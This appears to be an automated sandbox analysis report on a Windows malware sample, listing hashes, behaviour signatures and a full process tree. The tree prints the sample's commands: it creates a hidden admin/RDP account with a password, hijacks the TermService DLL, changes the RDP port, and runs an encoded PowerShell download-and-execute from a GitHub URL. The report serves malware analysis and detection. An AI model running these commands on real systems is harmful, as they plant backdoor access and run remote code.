Analysis

  • max time kernel
    69s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    21-07-2021 08:34

General

  • Target

    exe1.bin.exe

  • Size

    4.6MB

  • MD5

    eaee663dfeb2efcd9ec669f5622858e2

  • SHA1

    2b96f0d568128240d0c53b2a191467fde440fd93

  • SHA256

    6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2

  • SHA512

    211951f053ddecc6e0545a83119112d6ad375e226437d6a26ed493b362e51da3718131d59fb045c9b2feea91e04d3b82e9be4e52a46fe2e84ed4f3b4ed2213b3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\exe1.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\exe1.bin.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:992
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3756
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jyeo3nuu\jyeo3nuu.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3820
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6EAE.tmp" "c:\Users\Admin\AppData\Local\Temp\jyeo3nuu\CSC4762A988122240899875C337F811747.TMP"
          4⤵
            PID:3872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3696
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3964
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:996
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:856
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1136
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4064
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:2160
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3804
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3740
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4020
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2952
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:800
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3872
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2664
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:996
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:2224
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:1568
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2164
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2524
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:3820
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc tS5KLwJL /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3988
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc tS5KLwJL /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3960
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc tS5KLwJL /add
                          3⤵
                            PID:1800
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:488
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:760
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:2304
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2208
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3760
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:2472
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2040
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4064
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:3840
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc tS5KLwJL
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1800
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc tS5KLwJL
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2688
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc tS5KLwJL
                                  3⤵
                                    PID:4020
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:488
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:3236
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:3760
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                      • Modifies data under HKEY_USERS
                                      PID:1568
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    1⤵
                                      PID:2188
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        2⤵
                                          PID:3828
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            3⤵
                                            • Blocklisted process makes network request
                                            • Drops file in Program Files directory
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:988

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Temp\RES6EAE.tmp

                                        MD5

                                        f8dc03fd43f31a7079f8adc43f9b7885

                                        SHA1

                                        db2aff52da8f3c6c4482a06739913f053cd9b524

                                        SHA256

                                        24c69a1ed5907f65c432804ac7b4ac8c1a619599745fb1dbd23c7ff4f5fe5150

                                        SHA512

                                        154dc47cce4b63b39995e2996c8c912c4db4b52ad6a680c40d3f09fe71de14b4fa74507af6ed7caeaa14c520ce40791aedbd163d9ab5ddc93035bcfab25ef929

                                      • C:\Users\Admin\AppData\Local\Temp\jyeo3nuu\jyeo3nuu.dll

                                        MD5

                                        b71e0d39952eea911417462c408333df

                                        SHA1

                                        71fdbcf26e9d7b62be0e51b50b0fe117bf0d7bc8

                                        SHA256

                                        871f2e8a16d60f98f217bb859e7c907646326cc09fc20567c16b51e94162aa1b

                                        SHA512

                                        e0e12e59e8e05944c52be6c1e93f5d2d202ed25a320d34c3429d3b8497b6c5b667d736c8c28e57a5e651d84d22222b74e5e9d178de29f35ba97b221d13c2adba

                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                        MD5

                                        3447df88de7128bdc34942334b2fab98

                                        SHA1

                                        519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                        SHA256

                                        9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                        SHA512

                                        2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                      • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                        MD5

                                        43473f4e719958639a9d89e5d8388999

                                        SHA1

                                        ccb79eb606a23daa4b3ff8f996a2fbf281f31491

                                        SHA256

                                        ce84b142a2983e1f60b3051cbff38153424a016178ce3fcf703e3694eb474734

                                        SHA512

                                        1051092c5eae13758e8e01086907effc5c603cc1f9456fb2cdb951cb4b196c5c3d089ffd2e981b5d6731b0e6b24402fb2808a20f66ac6dcb1704a8f4b457b1fa

                                      • \??\c:\Users\Admin\AppData\Local\Temp\jyeo3nuu\CSC4762A988122240899875C337F811747.TMP

                                        MD5

                                        683d395d106abee61c7098e40b8fc7e4

                                        SHA1

                                        07cb7adcafee58e4b07495ac5eb1ebfc9de4f80a

                                        SHA256

                                        6513a1970e9336c05b54a33b901594862cfbbbb194857a4b5152842583ef627b

                                        SHA512

                                        29d4173c6f0c9a9b4a98097d2e96cecd9297d32dca4bbe9bc432995a061bfbfba468ddd0dd5aa59dad1eeec072ac7ba2b8afe80cf9cb9676d54045cff78978ee

                                      • \??\c:\Users\Admin\AppData\Local\Temp\jyeo3nuu\jyeo3nuu.0.cs

                                        MD5

                                        4864fc038c0b4d61f508d402317c6e9a

                                        SHA1

                                        72171db3eea76ecff3f7f173b0de0d277b0fede7

                                        SHA256

                                        0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                        SHA512

                                        9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                      • \??\c:\Users\Admin\AppData\Local\Temp\jyeo3nuu\jyeo3nuu.cmdline

                                        MD5

                                        f20359d17133c39dbcd112a6acee6648

                                        SHA1

                                        958d96b491f1b8bea7b486df1e0e6cb0fda41805

                                        SHA256

                                        66345544e54da490b5b38c3e3b60118cca1916512de530161297f3555cfee0ab

                                        SHA512

                                        73f2e321c8c7cfb21e65f954c79f3bca1efc76a17c1e1b541b03f623e4eea8193e50dca5c8323ecd44f843bb139e9ae2e4ca075e00c4fb40433b3f9916afebab

                                      • \Windows\Branding\mediasrv.png

                                        MD5

                                        271eacd9c9ec8531912e043bc9c58a31

                                        SHA1

                                        c86e20c2a10fd5c5bae4910a73fd62008d41233b

                                        SHA256

                                        177d6aab26c15ecf87f29f92ad0eaff355d195de1c0ef17d9cb9b7483c288934

                                        SHA512

                                        87375d3e0c2505ff8d5860db4a9a2cbb88da73f492f2be937b1dfd1afa37133061b7c69121727728835eaf545ce1850ec4889bad33366b8d4dadd7838af791c0

                                      • \Windows\Branding\mediasvc.png

                                        MD5

                                        1fa9c1e185a51b6ed443dd782b880b0d

                                        SHA1

                                        50145abf336a196183882ef960d285bd77dd3490

                                        SHA256

                                        f25560518e8bebbc0abdde4c0241833e432ad4c56f934bb18067c1abf7305959

                                        SHA512

                                        16bd50a904fa062f8ec6e41f00000da5d0221164c3eda90bc1791e195b25ef74bb9e1264d7536c204f9a01ca1489ae43484ceb1e7bb4f650aacf90fa16f1c9fc

                                      • memory/760-353-0x0000000000000000-mapping.dmp

                                      • memory/800-343-0x0000000000000000-mapping.dmp

                                      • memory/856-297-0x0000000000000000-mapping.dmp

                                      • memory/988-371-0x0000022C64033000-0x0000022C64035000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/988-364-0x0000000000000000-mapping.dmp

                                      • memory/988-379-0x0000022C64036000-0x0000022C64038000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/988-430-0x0000022C64038000-0x0000022C64039000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/988-370-0x0000022C64030000-0x0000022C64032000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/992-119-0x0000016AFFAB6000-0x0000016AFFAB7000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/992-118-0x0000016AFFAB5000-0x0000016AFFAB6000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/992-117-0x0000016AFFAB3000-0x0000016AFFAB5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/992-114-0x0000016ABD400000-0x0000016ABD6AA000-memory.dmp

                                        Filesize

                                        2.7MB

                                      • memory/992-116-0x0000016AFFAB0000-0x0000016AFFAB2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/996-346-0x0000000000000000-mapping.dmp

                                      • memory/996-296-0x0000000000000000-mapping.dmp

                                      • memory/1136-298-0x0000000000000000-mapping.dmp

                                      • memory/1568-362-0x0000000000000000-mapping.dmp

                                      • memory/1568-444-0x0000000000000000-mapping.dmp

                                      • memory/1800-352-0x0000000000000000-mapping.dmp

                                      • memory/2108-169-0x0000023DAE203000-0x0000023DAE205000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2108-172-0x0000023DAE206000-0x0000023DAE208000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2108-168-0x0000023DAE200000-0x0000023DAE202000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2108-159-0x0000000000000000-mapping.dmp

                                      • memory/2108-210-0x0000023DAE208000-0x0000023DAE20A000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2160-336-0x0000000000000000-mapping.dmp

                                      • memory/2224-443-0x0000000000000000-mapping.dmp

                                      • memory/2304-354-0x0000000000000000-mapping.dmp

                                      • memory/2472-356-0x0000000000000000-mapping.dmp

                                      • memory/2524-349-0x0000000000000000-mapping.dmp

                                      • memory/2664-345-0x0000000000000000-mapping.dmp

                                      • memory/2688-359-0x0000000000000000-mapping.dmp

                                      • memory/2952-342-0x0000000000000000-mapping.dmp

                                      • memory/3236-361-0x0000000000000000-mapping.dmp

                                      • memory/3696-201-0x0000000000000000-mapping.dmp

                                      • memory/3696-251-0x000001D1C1086000-0x000001D1C1088000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3696-211-0x000001D1C1080000-0x000001D1C1082000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3696-212-0x000001D1C1083000-0x000001D1C1085000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3740-340-0x0000000000000000-mapping.dmp

                                      • memory/3756-150-0x00000248FFC00000-0x00000248FFC01000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3756-137-0x00000248FF026000-0x00000248FF028000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3756-136-0x00000248FF023000-0x00000248FF025000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3756-134-0x00000248FF020000-0x00000248FF022000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3756-144-0x00000248FF000000-0x00000248FF001000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3756-128-0x00000248FF5E0000-0x00000248FF5E1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3756-151-0x00000248FF028000-0x00000248FF029000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3756-125-0x00000248FEFD0000-0x00000248FEFD1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3756-120-0x0000000000000000-mapping.dmp

                                      • memory/3756-152-0x0000024898000000-0x0000024898001000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3760-355-0x0000000000000000-mapping.dmp

                                      • memory/3804-339-0x0000000000000000-mapping.dmp

                                      • memory/3820-350-0x0000000000000000-mapping.dmp

                                      • memory/3820-135-0x0000000000000000-mapping.dmp

                                      • memory/3828-363-0x0000000000000000-mapping.dmp

                                      • memory/3840-358-0x0000000000000000-mapping.dmp

                                      • memory/3872-344-0x0000000000000000-mapping.dmp

                                      • memory/3872-140-0x0000000000000000-mapping.dmp

                                      • memory/3960-351-0x0000000000000000-mapping.dmp

                                      • memory/3964-286-0x00000244EC6D8000-0x00000244EC6DA000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3964-285-0x00000244EC6D6000-0x00000244EC6D8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3964-254-0x00000244EC6D3000-0x00000244EC6D5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3964-252-0x00000244EC6D0000-0x00000244EC6D2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3964-243-0x0000000000000000-mapping.dmp

                                      • memory/4020-341-0x0000000000000000-mapping.dmp

                                      • memory/4020-360-0x0000000000000000-mapping.dmp

                                      • memory/4064-335-0x0000000000000000-mapping.dmp

                                      • memory/4064-357-0x0000000000000000-mapping.dmp